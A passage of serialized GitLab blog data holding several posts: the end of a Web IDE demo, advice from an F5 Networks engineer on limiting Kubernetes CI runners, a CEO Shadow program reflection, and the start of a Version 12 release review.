issue](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_16.png){: .shadow.medium.center}\n\nA new issue created to investigate a vulnerability\n{: .note.text-center}\n\nFrom your original merge request, you can collaborate with others and have them take a look at the proposed changes.\n\n![collaborate on merge request](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_17.png){: .shadow.medium.center}\n\nTag someone in a merge request to have them see your changes\n{: .note.text-center}\n\nOnce you’ve gathered feedback and all pipelines have passed, click the `merge` button to trigger a new pipeline to deploy your application to production\n\n![Web IDE](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_18.png){: .shadow.medium.center}\n\nClick `merge` to trigger a deployment pipeline\n{: .note.text-center}\n\nThis workflow shows how anyone can contribute code without using a command line. The Web IDE makes it easy for anyone to make changes without introducing additional risks or quality issues, all from the GitLab interface.\n\nTo see this three-minute demo in real-time, just watch the video below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/6207TKNGgJs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[110,1444,696],{"slug":23347,"featured":6,"template":678},"using-gitlab-web-ide-gitlab-ci-cd","content:en-us:blog:using-gitlab-web-ide-gitlab-ci-cd.yml","Using Gitlab Web Ide Gitlab Ci Cd","en-us/blog/using-gitlab-web-ide-gitlab-ci-cd.yml","en-us/blog/using-gitlab-web-ide-gitlab-ci-cd",{"_path":23353,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23354,"content":23360,"config":23365,"_id":23367,"_type":16,"title":23368,"_source":17,"_file":23369,"_stem":23370,"_extension":20},"/en-us/blog/best-practices-for-kubernetes-runners",{"title":23355,"description":23356,"ogTitle":23355,"ogDescription":23356,"noIndex":6,"ogImage":23357,"ogUrl":23358,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23358,"schema":23359},"Best practices to keep your Kubernetes runners moving","In a presentation at GitLab Commit San Francisco, a senior software engineer from F5 Networks shares some best practices for working with Kubernetes runners.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681341/Blog/Hero%20Images/trackandfield.jpg","https://about.gitlab.com/blog/best-practices-for-kubernetes-runners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Best practices to keep your Kubernetes runners moving\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-05-27\",\n      }",{"title":23355,"description":23356,"authors":23361,"heroImage":23357,"date":23362,"body":23363,"category":734,"tags":23364},[17272],"2020-05-27","\n\nSometimes in software engineering, you have to learn the hard way. GitLab CI is extremely powerful and flexible, but it’s also easy to make mistakes that could take out a GitLab runner, which can clog up Sidekiq and bring down your entire GitLab instance.\n\nLuckily, Sean Smith, senior software engineer for F5 Networks has been through it, and summarizes some of their learnings in [his talk at GitLab Commit San Francisco](https://www.youtube.com/watch?v=Hks5ElUxkP4). In the presentation, Sean goes in-depth about a past incident that clogged up F5 Network's GitLab runner, and shares tips on setting limits for Kubernetes (K8s) runners.\n\nSean is a GitLab administrator for [F5 Networks](https://www.f5.com/), a company with about 1,800 users worldwide running 7,500 projects each month – excluding forks. That’s roughly 350,000 - 400,000 CI jobs going through the K8s runners each month. Until some recent hires, there were only three engineers to handle it all.\n\nInstead of running a giant GitLab instance on one VM, F5 broke up their instance into seven different servers: Two HA web servers, one PostGres server, PostGres replica, Sidekiq, Gitaly (our Git filesystem), and Redis.\n\n## Keep your GitLab runners up and moving\n\nF5 uses two types of GitLab runners:\n\n*   Kubernetes: About 90% of F5 jobs go through K8s\n*   Docker: Docker machine is run on-prem and in the cloud\n\n**Why use Docker?** F5 uses Docker to configure cluster networks in different jobs as well as for unit testing. Since the Docker machine can run on-prem and also in the cloud, it’s easy to have a VM dedicated to the job that allows you to manage those Docker images and Docker containers and set up your cluster networking topology within Docker, so you can run your tests and tear it down afterward without affecting other users. This isn’t something that is really possible in Kubernetes runners.\n\nOtherwise, F5 Networks uses Kubernetes, but keeping your K8s up and running isn’t necessarily foolproof.\n\n### CI jobs can spawn\n\nSometimes, a seemingly benign coding error can create unanticipated consequences for your Kubernetes runners.\n\nOne time, an F5 Engineer decided to use a GitLab CI job to automatically configure different settings on various jobs and projects. It made sense to configure using GitLab CI because the engineer wanted to be able to use [Git for version control](/topics/version-control/). Version control makes it easier for the team to iterate on the code transparently. He wrote the code to run the job.\n\nBut, he didn’t read the fine print in the library he was using. The code he wrote looked for the project ID, and if it found the project ID, runs the pipeline once per hour at the 30-minute mark. The assumption was that if there was already a matching scheduled task, the create function would not create a duplicate. Unfortunately, this was not the case. The code he ran caused the number of CI jobs to grow exponentially.\n\n![The code that clogged the K8s runner with GitLab CI jobs for F5 Networks](https://about.gitlab.com/images/blogimages/problemcode.png){: .shadow}\nThe code that clogged the K8s runner with GitLab CI jobs for F5 Networks. Can you see the problem yet?\n{: .note.text-center}\n\n\"You schedule a job, then next you schedule another job so now you've got two jobs scheduled, and then you've got four jobs scheduled, and then eight, after 10 iterations, you get around the 1,024 jobs scheduled and after 1,532,000 jobs, if this was allowed to run for 24 hours, you would end up with 16.7 million jobs being scheduled by the 24th hour,\" says Sean.\n\nIn short: Chaos. Remember, F5 Networks has a CI pipeline capacity of 350,000 to 400,000 jobs per month, so 16.7 million jobs in 24 hours could easily clog the system, taking down the K8s nodes, as well as GitLab nodes.\n\nLuckily, there’s a simple enough fix. First, identify which project is causing the problem, and disable CI on the project so it can’t create any new jobs. Next, kill all the pending jobs by [running this snippet](https://gitlab.com/snippets/1924269).\n\n```\n# gitlab-rails console\np = Project.find_by_full_path(‘rogue-group/rogue-project’)\nCi::Pipeline.where(project_id: p.id).where(status: ‘pending’).each {|p| p.cancel}\nexit\n```\n\nIt’s really a judgment call whether to kill a running job or not. If a job is currently running and is going to take all of 30 seconds then maybe don’t bother killing it, but if the job is going to take 30 minutes then consider killing it to free up resources for your users.\n\nF5 learned a lesson here and set up a monitoring alert to help ensure the job queue doesn’t back up like that again. The Cron job checks to make sure F5 is not exceeding a preestablished threshold on the number of jobs in a pending state. The alert links to a dashboard and also includes the full playbook for how to resolve the problem (because let’s face it, nobody is at their best when troubleshooting bleary-eyed at 3 a.m.). At first there were some false positives, but now the alerting has been fine-tuned and the system saved F5 from two outages so far.\n\n### Push it to the limit\n\nThe fact is, nobody has an unlimited cloud budget, and even if you're on-prem, resources are even more constrained for users that rely upon hardware. Sean says that F5 soon realized that, to meet the needs of all users, sensible limits had to be established so one or two mega-users didn't devour all their resources. He has some tips on how to set limits in your Kubernetes and GitLab runners.\n\nWhile some users may be disgruntled that cloud limits exist and are enforced, the best method is to keep an open dialogue with users about the limits while recognizing that projects expand and grow over a period of time.\n\nFortunately you can set the limits yourself and don’t have to rely on the goodwill of your users to conserve CPU. Kubernetes allows limits by default, and GitLab supports K8s request and limits. The K8s scheduler uses requests to determine which nodes to run the workload on. Limits will kill a job if the job exceeds the predefined limit – there can be different requests and limits but if requests aren’t specified and limits are, the scheduler will use the limits to determine the request value.\n\n[Take a peek at what F5 configured the limits for their Kubernetes GitLab runner](https://gitlab.com/snippets/1926912).\n\n```ruby\nconcurrent = 200\nlog_format = \"json\"\n[[runners]]\n  name = \"Kubernetes Gitlab Runner\"\n  url = \"https://gitlab.example.com/ci\"\n  token = \"insert token here\"\n  executor = \"kubernetes\"\n  [runners.kubernetes]\n    namespace = \"gitlab-runner\"\n    service-account = \"gitlab-runner-user\"\n    pull_policy = \"always\"\n\n    # build container\n    cpu_limit = \"2\"\n    memory_limit = \"6Gi\"\n\n    # service containers\n    service_cpu_limit = \"1\"\n    service_memory_limit = \"1Gi\"\n\n    # helper container\n    helper_cpu_limit = \"1\"\n    helper_memory_limit = \"1Gi\"\n```\n\n\"We have got currency of 200 jobs, so it will at max spawn 200 jobs and you'll see that we are limiting the CPU use on the build container to two and memory to six gigabytes, and on the helper and service CPU and memory limits, we have one CPU and one gig of memory each,\" says Sean. \"And so it gives you that flexibility to break it out because generally, you don't necessarily need as much CPU or as much memory on a service that you're spending up in your CI job.\"\n\n## What comes first: Setting up Kubernetes runners or establishing limits?\n\n[DevOps](/topics/devops/) is a data-driven practice, so the idea of setting limits to conserve resources without any underlying data about what users are doing can seem counterintuitive. If you’re migrating to Kubernetes runners from a Docker runner or a shell runner, it’s easy enough to extrapolate the numbers to establish limits as you set up your Kuberntes runners.\n\nIf you’re brand-new to GitLab and GitLab CI, then it’s kind of a shot in the dark. Think about your bills and resource constraints: How much memory and CPU is available? Is anything else running on your K8s cluster. Chances are, your guesses will be incorrect – but that’s OK.\n\nIt might sound obvious, but if you’re running a hosted application on the same K8s cluster as your GitLab CI jobs, don’t set limits based on the capacity of a full K8s cluster. Ideally, you’d have a separate K8s cluster for GitLab CI jobs, but that isn’t always possible.\n\n### How F5 Networks did it\n\nF5 Networks started with a small team of roughly 50 people and maybe 100 projects in GitLab – so setting a limit on K8s wasn’t a major concern until the company and, as a result, projects, started to grow.\n\nOnce it came time to set limits to their preexisting K8s runners, the first step was to enable the K8s metric server to monitor how their users consume resources. The next step was to determine what users are doing. Sean recommends using a tool like Grafana or Prometheus, which has a native integration within GitLab (although, F5 used a tool called K9), to extract the data from the K8s metric server and display it on some sort of dashboard using Grafana or Prometheus.\n\n## Some more tips for Kubernetes runners\n\n### Cutting them off: Enforcing limits\n\nOnce a user hits their limit, most of the time the end result is their job gets killed. Usually the user will notice a mistake, go in, and fix their code, but most likely they will just ask for more resources.\n\nThe best way to determine whether or not to allocate more of your finite resources to a user is to determine need, Sean explains. Ask the user to return to you with concrete numbers about the amount of RAM or CPU they require. But if you don’t have the resources, then don’t overextend yourselves to the detriment of your other users.\n\n### Use labels to reveal more data\n\n[Labels](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#syntax-and-character-set) make it easier to identify workloads in Kubernetes, and can be expanded to environmental variables within GitLab, for example, job = \"$CI_JOB_ID\" and project = \"$CI_PROJECT_ID\". Labels can be used by admins who are manually doing Quebectal commands against K8s or they can be used in reporting tools like Prometheus or Grafana for setting limits. But labels are the most valuable when it comes to debugging purposes.\n\nBear in mind, labels are finicky in Kubernetes. [There are certain characters (stay away from \"?\") that can cause jobs to fail](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4565). There is a 63 character limit on labels. If there is an unsupported character or the label is too long, the job won’t start. There won’t be a really good indication as to why your job wouldn’t start either, which can be a pain for troubleshooting. [Bookmark this page to learn more about labels in Kubernetes](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#syntax-and-character-set) (including its limitations).\n\nGitLab users that run on K8s need to be cautious not to overburden the runner with GitLab CI jobs, and ought to consider setting limits on CPU to conserve valuable resources.\n\nWant to learn more about how F5 manages their Kubernetes runners on their GitLab instance? Watch Sean's presentation at GitLab Commit San Francisco in the video below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/Hks5ElUxkP4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Learn more\n\n* [Read on](/solutions/kubernetes/) to learn more about how GitLab and Kubernetes work together, and explore our plans for future integration with Kubernetes.\n\n* Explore the official documentation on [Kubernetes executor](https://docs.gitlab.com/runner/executors/kubernetes.html), which covers everything from choosing options in your configuration file to giving GitLab Runner access to the Kubernetes API, environment variables, volumes, helper containers, security context, privileged mode, secret volume, and removing old runner pods.\n\nCover Photo by [Kolleen Gladden](https://unsplash.com/@rockthechaos?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/track-and-field?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note.text-center}\n",[2509,110,4772],{"slug":23366,"featured":6,"template":678},"best-practices-for-kubernetes-runners","content:en-us:blog:best-practices-for-kubernetes-runners.yml","Best Practices For Kubernetes Runners","en-us/blog/best-practices-for-kubernetes-runners.yml","en-us/blog/best-practices-for-kubernetes-runners",{"_path":23372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23373,"content":23378,"config":23383,"_id":23385,"_type":16,"title":23386,"_source":17,"_file":23387,"_stem":23388,"_extension":20},"/en-us/blog/gitlab-remote-ceo-shadow-takeaways",{"title":23374,"description":23375,"ogTitle":23374,"ogDescription":23375,"noIndex":6,"ogImage":18289,"ogUrl":23376,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23376,"schema":23377},"GitLab CEO Shadow program takeaways and lessons learned","I attended every meeting with GitLab's CEO for two weeks. This is what I learned.","https://about.gitlab.com/blog/gitlab-remote-ceo-shadow-takeaways","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab CEO Shadow program takeaways and lessons learned\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Murph\"}],\n        \"datePublished\": \"2020-05-22\",\n      }",{"title":23374,"description":23375,"authors":23379,"heroImage":18289,"date":23380,"body":23381,"category":18484,"tags":23382},[19653],"2020-05-22","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n![GitLab all-remote mentor](https://about.gitlab.com/images/all-remote/ceo-shadow-gitlab-awesomeness.jpg){: .shadow.medium.center}\n\nI'm normally GitLab's Head of Remote, but for two weeks I attended every meeting with GitLab's CEO, alongside two wonderful co-shadows. \n\nThe final tally? 110 Zoom calls in 10 working days. That's an average of 11 video calls *per day*. \n\nCreating an ever more intriguing backdrop, I shadowed during a global pandemic (COVID-19). Not only was much of the world weeks into an extended period of isolation, but every leader on the planet was grappling with an array of factors that no one saw coming six months prior. From economic conditions to overall mental health and wellbeing, nothing was normal. Well, except one thing, which I'll address below. \n\n### What is the GitLab CEO Shadow program?\n\nIf you aren't familiar with GitLab's [CEO Shadow program](/handbook/ceo/shadow/), I won't rehash what's already in the handbook. By the time you read this, new shadows will have already improved the page since my rotation. It is hands-down the most enlightening, transparent, career-enhancing program I've taken part in, and should serve as a blueprint for other companies. Any firm could implement a shadow program, and I believe they should. \n\n### What's your biggest takeaway?\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4yhtYcOZn3w\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*In the [GitLab Unfiltered](https://www.youtube.com/playlist?list=PL05JrBw4t0Kq7QUX-Ux5fOunQotqJbECc) video above, GitLab's Head of Remote recaps his remote CEO Shadow rotation at GitLab in May 2020.*\n\nThis is the question I've received the most. \n\nThat bit in the intro about one thing being normal? GitLab's [values](https://handbook.gitlab.com/handbook/values/) were evident in **every** Zoom, and in **every** suggestion, decision, and bit of feedback. That part remained normal. What this means is that GitLab's values do not oscillate depending on economic conditions or other stressors. \n\nI want to be clear that these values were exemplified not *just* by GitLab's CEO, but the entire [e-group](/company/team/structure/#e-group). The takeaway there is that GitLab's CEO carries a significant responsibility to live our values in his 1-on-1 interactions with his direct reports and board members, with that reinforcement cascading to other interactions throughout the organization. \n\nBelow, I'll share other takeaways from the program.\n\n### Remote work will soon be — simply — work\n\nIt's happening. From [Twitter](https://blog.twitter.com/en_us/topics/company/2020/keeping-our-employees-and-partners-safe-during-coronavirus.html) to [Square](https://www.theverge.com/2020/5/18/21261798/square-employees-work-from-home-remote-premanent-policy-ceo) to [Coinbase](https://blog.coinbase.com/post-covid-19-coinbase-will-be-a-remote-first-company-cdac6e621df7) to [Shopify](https://twitter.com/tobi/status/1263483496087064579) to [Facebook](https://www.theverge.com/facebook/2020/5/21/21265699/facebook-remote-work-shift-workforce-permanent-covid-19-mark-zuckerberg-interview), remote is now an option. My CEO Shadow rotation was just prior to the series of dominos above falling, and none of the Zooms were difficult. Even for suddenly-remote particpants, it just worked. Everything just felt more human. One participant joined a Zoom from his daughter's school laptop and proceeded as \"Billie the Sea Turtle.\" \n\nI suspect some of these meetings would've been daunting in-person due to perceived power imbalances. In a video call, conversation is far more democratized. \n\n### Transparency is liberating\n\nFacades are mentally taxing. Just call it like it is. I was heartened by the many sub-values surrounding this which were lived out in interactions. \n\n* [It's impossible to know everything](https://handbook.gitlab.com/handbook/values/#its-impossible-to-know-everything)\n* [No ego](https://handbook.gitlab.com/handbook/values/#no-ego)\n* [Say sorry](https://handbook.gitlab.com/handbook/values/#say-sorry)\n* [Don't let each other fail](https://handbook.gitlab.com/handbook/values/#dont-let-each-other-fail)\n* [Blameless problem solving](https://handbook.gitlab.com/handbook/values/#blameless-problem-solving)\n* [Short toes](https://handbook.gitlab.com/handbook/values/#short-toes)\n* [Anyone and anything can be questioned](https://handbook.gitlab.com/handbook/values/#anyone-and-anything-can-be-questioned)\n\nIn one particular meeting, Sid had his mind changed through the introduction of new data. That led to a [merge request](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/50052/diffs) where we added a sub-value to Transparency — [Articulate when you change your mind](https://handbook.gitlab.com/handbook/values/#articulate-when-you-change-your-mind) — during my CEO Shadow rotation.\n\n*How awesome is that?*\n\n### Make a proposal\n\nThis one was big for me. Sid continually sought proposals from those in meetings. It made me realize that I could improve in this area. Now, whenever I have to urge to just talk unscripted about a project, I stop, open a Google Doc, and start writing. \n\nShowing up with a proposal rather than a collection of unsorted thoughts is a way to be [respectful of others' time](https://handbook.gitlab.com/handbook/values/#be-respectful-of-others-time).\n\nSid would rather have a weak proposal that he can shape than scattered thoughts in which no action can be taken. Since my rotation, I've found myself asking for more proposals and showing up with more proposals. \n\n### Shadows are more than shadows\n\nYou become a part of the ebb and flow of the day. You're with the CEO and your co-shadow *so much* that you can't help but bond. You laugh together, you grab lunch together, you share experiences together. \n\nYou're also in a very special position. You're able to [introduce yourself](/handbook/ceo/shadow/#ceo-shadow-introductions) as a member of the CEO Shadow program to people that are very difficult to get time with. You meet people outside of GitLab who are doing incredible things to create positive change in the world. \n\nI left with over a dozen new relationships, having met brilliant, passionate people all over the world who will remember me from \"that one time in GitLab's CEO Shadow program....\" That is remarkable. \n\n### Be succinct\n\nTalk in the details or not at all. \n\n### If a design is taking too long, break it down\n\n[Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is the hardest value to practice. \n\nWe're conditioned to believe that breaking something down is done because we're lazy or incompetent. Nothing could be [further from the truth](https://handbook.gitlab.com/handbook/values/#low-level-of-shame). \n\n### Everyone loves a cancelled meeting\n\nWhen everyone is isolated and no one is experiencing travel delays, there's no excuse to cancel. In two weeks, I recall just one meeting being cancelled last-minute. Myself, Sid, and my co-shadow collectively looked at each upon hearing that the participant had apologized and said: \"Don't apologize!\"\n\nWe all took a much-needed break, grabbed some water, and I took a quick walk outside. It was glorious.\n\n### Sid loves the GitLab product\n\nIt is fascinating to watch Sid interact with all areas of the business. It's stunning how well-versed he is in everything from engineering to finance to legal, but what is abundantly clear is his passion for *product*. He is a self-proclaimed \"Product CEO,\" and you'll [see this in action](/handbook/ceo/#pointers-from-ceo-direct-reports) if you're a CEO Shadow. \n\n### The broader community is always top-of-mind\n\nOn any call where Sid is given the floor to explain what GitLab is, he reminds people how important the broader community is. He references instances where those outside of the GitLab organization contribute feedback, code, and improvements to our product and our handbook. \n\n\"[Everyone can contribute](/company/mission/#mission)\" is inserted into more conversations than you would assume.\n\n### Sid cares about the greatest amount of people\n\nWhen's the last time you looked at the [Efficiency for the right group](https://handbook.gitlab.com/handbook/values/#efficiency-for-the-right-group) sub-value? The heart of that matters to Sid. When speaking of big, encompassing ideas, Sid continually asked those making the proposal to articulate outcomes for the broadest group.\n\n### Zoom fatigue is real\n\n110 video calls in two weeks is a lot. [Danielle M.](https://twitter.com/DanielleMorrill), an [alumnus](/handbook/ceo/shadow/#alumni) of the CEO Shadow program, recommended I take only essential meetings in the week immediately following my two-week CEO Shadow rotation to give my [eyes and mind a rest](https://www.bbc.com/worklife/article/20200421-why-zoom-video-chats-are-so-exhausting). \n\nBeing on the other side of the program, I *wholeheartedly* second this recommendation. \n\n### Being a CEO requires sacrifice\n\nSid doesn't live a normal life — or, what Americana would have you believe a normal life looks like. He sleeps well, he schedules time with family, and he takes weekends off of work. He models a healthy balance, all things considered. But make no mistake, a CEO carries around a massive amount of responsibility, and time for yourself is hard to come by.  \n\nI think you have to be born for it. You can learn to be a CEO, but there's an intangible element there as well. \n\n### Reviewing is easier than creating\n\nSid explained to me that he's able to handle 11 back-to-back Zoom calls because \"reviewing is easier than creating.\" Which is true. In many of Sid's meetings, others have spent time creating so that Sid can review and provide feedback. \n\nIf you're in a creative role, be intentional about creating [white space](https://jkglei.com/white-space/) in your calendar to create. \n\nI view being booked at 100% as a risk. If this resonates with you, check out [Kingman's Formula](https://blog.acolyer.org/2015/04/29/applying-the-universal-scalability-law-to-organisations/) for the mathematics behind it. \n\n### GitLab is extraordinarily efficient\n\nYou can tell within 10 seconds if a meeting is being ran [the GitLab way](/company/culture/all-remote/meetings/) or not.\n\n### Never apologize for family\n\nWith most of the world in lockdown, family was everywhere during my rotation (which was awesome!). Sid continually [celebrated](https://handbook.gitlab.com/handbook/values/#make-family-feel-welcome) that, and reminded folks not to apologize for children, pets, or for having to dart out of a meeting to handle something on the homefront. \n\n[**#FamilyAndFriends1st**](https://handbook.gitlab.com/handbook/values/#family-and-friends-first-work-second)\n\n### Never have a meeting without an agenda\n\nUnless it's a [coffee chat](/company/culture/all-remote/informal-communication/#coffee-chats). In which case, *savor it*.  \n\n![GitLab all-remote team](https://about.gitlab.com/images/all-remote/GitLab-All-Remote-Zoom-Team-Tanuki.jpg){: .shadow.medium.center}\n\n### Did you miss out on anything as a remote shadow?\n\nI am appreciative of the opportunity to shadow a CEO during a global pandemic. It would have been easy to pause the program for a bit. Instead, GitLab retained a beacon of transparency and [pivoted the program to remote](/handbook/ceo/shadow/#tips-for-remote-shadows) with poise. Kudos to Sid and Cheri Holmes, his [Executive Business Administrator](/handbook/eba/#executive-business-administrator-team). \n\nAs GitLab's Head of Remote, this was interesting on a personal level. Typically, the CEO Shadow program is a rare case where in-person attendance is expected. This is due to Sid's typical schedule, which involves quite a few in-person meetings in the San Francisco Bay Area. (I suspect this will change dramatically going forward, with many meetings being Zoom-by-default.)\n\nDue to much of the world being in lockdown, all of Sid's meetings in early May 2020 were remote and conducted via Zoom video calls. \n\nI didn't feel as if I missed out on anything. I was fully engaged and fully welcomed, and I was able to chat with Sid and my co-shadow during the occasional break. \n\n### Any notable perks of a remote CEO Shadow rotation? \n\nAs a dad, I felt fortunate to participate from home. The lack of a commute, even from hotel to [Mission Control](/handbook/ceo/shadow/#mission-control-guide), enabled me to maintain a fitness routine despite 11 meetings per day. I aspire to participate in a future rotation that's in-person, mostly for personal reasons. I love the San Francisco Bay Area and would take any opportunity to visit.\n\nThe time zone shift was a boon for me. I prefer to get outside in the morning, and being based 3 hours ahead of Sid provided a few bonus hours in the morning to do so. \n\n### Q&A\n\n![GitLab all-remote ergonomic workspace](https://about.gitlab.com/images/all-remote/gitlab-com-all-remote-v3-dark-1280x270.png){: .shadow.medium.center}\n\nI asked for questions on Twitter, as well as on GitLab's internal Slack. These are some of the inquiries I received. \n\n### How did you start your day?\n\nGifted with a 3-hour headstart from Sid's time zone, I typically rose with my family, had coffee, cleaned up my son's breakfast escapades, and squeezed in a 45-minute cardio session.\n\nOn perfect days, I'd sit down with 15 or 20 minutes to spare ahead of Sid's first call, enough time to see if my team needed anything before a marathon of documenting and learning.\n\nI'm used to working [non-linear days](/company/culture/all-remote/non-linear-workday/), so it aligned well with my preferences.\n\n### How did you align lunch breaks?\n\nYou figure out that you can get super creative on what is consumable in 180 seconds.\n\n### Did you engage in virtual social time together?\n\nWe'd hop on Zoom chats between calls, and after all calls were wrapped on certain days. I really enjoyed my last day, where Sid and my co-shadow joined for a 45-minute spontaneous coffee chat. \n\n### How hard is it to catch up after the CEO Shadow program?\n\nIn preparing for the program, you're instructed to \"[prepare your team as if you were on vacation](/handbook/ceo/shadow/#preparing-for-the-program).\" I did this, but checked in on notifications between calls. \n\nFor context, it was an unusual time. Given the global focus on remote, I was fielding interviews on the subject that were atypically time sensitive. \n\nDue to this, I didn't feel entirely disconnected upon return, but I was surely less rested. \n\nI was intentional about prioritizing the CEO Shadow experience and I muted all notifications for the entire two-week span. (I mute all Mac notifications anyway, and limit iPhone notifications to text messages, so this wasn't a drastic difference in routine.)\n\nI even [added a new task](https://gitlab.com/gitlab-com/ceo-shadow/onboarding/-/merge_requests/20/diffs) to our CEO Shadow onboarding issues to remind shadows to change their `GitLab.com` and Slack status messages to indicate that they're in the CEO Shadow program and are focused on the `#ceo-shadow` Slack channel. \n\n### Feelings before going to sleep prior to your first day?\n\nInvigorated. I participated in over 50 remote work webinars, podcasts, and interviews the six weeks prior to my rotation. I was super excited to completely shift gears and soak in something new. \n\n### Are Sid's meetings always on-time?\n\nRoughly 97% of them begin on time. Roughly 80% of them end on time. Roughly 99% of them end before the next one begins, even if it's just by a few seconds. \n\nMost are 25 minutes. A few are 50 minutes. \n\n### Did you actively participate in meetings?\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/JM8kBqqVFrU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*In the [GitLab Unfiltered](https://www.youtube.com/playlist?list=PL05JrBw4t0Kq7QUX-Ux5fOunQotqJbECc) video above, GitLab's co-founder and CEO (Sid) and Head of Remote (Darren) chat with investor Sam Endacott during a remote CEO Shadow rotation.*\n\nSome! In meetings related to marketing, communications, messaging, and community, there were moments where I was asked to chime in. I was also asked a few questions in [1-on-1 meetings](/handbook/leadership/1-1/), the [e-group meeting](/handbook/ceo/#daily-meetings), and a [retrospective](/handbook/ceo/#monthly-meetings) meeting. \n\nSerendipitously, Sid and I were [interviewed](https://youtu.be/gOp4lKSCulI) by Adrian Larssen at Business Insider during my CEO Shadow rotation, while investor Sam Endacott allowed us to [livestream our conversation](https://youtu.be/JM8kBqqVFrU) on markets and remote work.\n\nI savored these moments. It was awesome to see \"everyone can contribute\" lived as a shadow. I felt welcome, and I felt my input was considered and appreciated. \n\nI enjoyed listening to my co-shadows give their input in meetings. It's an excellent opportunity to learn and develop in a very unique space. \n\n### Be honest — 40 hours per week, or more?\n\nSid's calendar is public for those within the GitLab organization. You can see that he tries to cap meetings at around 8 to 9 hours per day. However, given how much of what you experience is brand new, this may *feel* like more. \n\n![GitLab all-remote family workspace](https://about.gitlab.com/images/all-remote/gitlab-home-office-family.jpg){: .shadow.medium.center}\n\nIf you're considering the CEO Shadow program, check the [eligibility requirements](/handbook/ceo/shadow/#eligibility) and **apply**! \n\nIf you're outside of the GitLab organization, please encourage your leadership team to implement a similar program. I can't recommend it highly enough.\n\nIf you still have questions, reach out on Twitter: [@darrenmurph](https://twitter.com/darrenmurph)\n",[4144,1899,4144],{"slug":23384,"featured":6,"template":678},"gitlab-remote-ceo-shadow-takeaways","content:en-us:blog:gitlab-remote-ceo-shadow-takeaways.yml","Gitlab Remote Ceo Shadow Takeaways","en-us/blog/gitlab-remote-ceo-shadow-takeaways.yml","en-us/blog/gitlab-remote-ceo-shadow-takeaways",{"_path":23390,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23391,"content":23397,"config":23402,"_id":23404,"_type":16,"title":23405,"_source":17,"_file":23406,"_stem":23407,"_extension":20},"/en-us/blog/version-12-year-in-review",{"title":23392,"description":23393,"ogTitle":23392,"ogDescription":23393,"noIndex":6,"ogImage":23394,"ogUrl":23395,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23395,"schema":23396},"GitLab Version 12 Year In Review: Releases 12.0 to 12.10","Product highlights from a pivotal year","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680891/Blog/Hero%20Images/cloud-adoption-roadmap.jpg","https://about.gitlab.com/blog/version-12-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Version 12 Year In Review: Releases 12.0 to 12.10\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brian Glanz\"}],\n        \"datePublished\": \"2020-05-21\",\n      }",{"title":23392,"description":23393,"authors":23398,"heroImage":23394,"date":23399,"body":23400,"category":736,"tags":23401},[18105],"2020-05-21","\n\nAt GitLab, we understand that the strength of your business depends on moving fast. And what makes us strong in good times, makes us resilient in challenging times.\n\nStrength and resilience come from speed, yes, but also agility, operational efficiency, security, and above all, reliability. We've released a new version on the 22nd of every month for [now more than 100 consecutive months](/releases/).\n\nAs we’ve grown, those monthly releases now include dozens of significant features and improvements: 719 new features and improvements total in versions 12.0–12.10, as documented in our [release blog posts](/releases/categories/releases/).\n\nWe’ll cover some of the highlights and trends here in this Version 12 Year in Review. Watch it in the video below, or read on for more detail and all the links.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"1141\" height=\"642\" src=\"https://www.youtube.com/embed/IXRuepeH3xg\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*Here is the [Version 12 Year in Review slide deck](https://docs.google.com/presentation/d/1ht1da_WIrkG_4Cx5C89D4C7zxV80MIExUVwCyZD10aw/edit?usp=sharing) shown in the video.*\n\nGitLab is not just another startup. Over the past year, the awesome GitLab community [made almost 200 contributions to our open source software in every monthly release](https://gitlab.biterg.io/goto/937475d38035f496df3501c9b30af5ef). Community contributions to versions 12.0–12.10 totaled an incredible 2,158 🙌, and contributions per 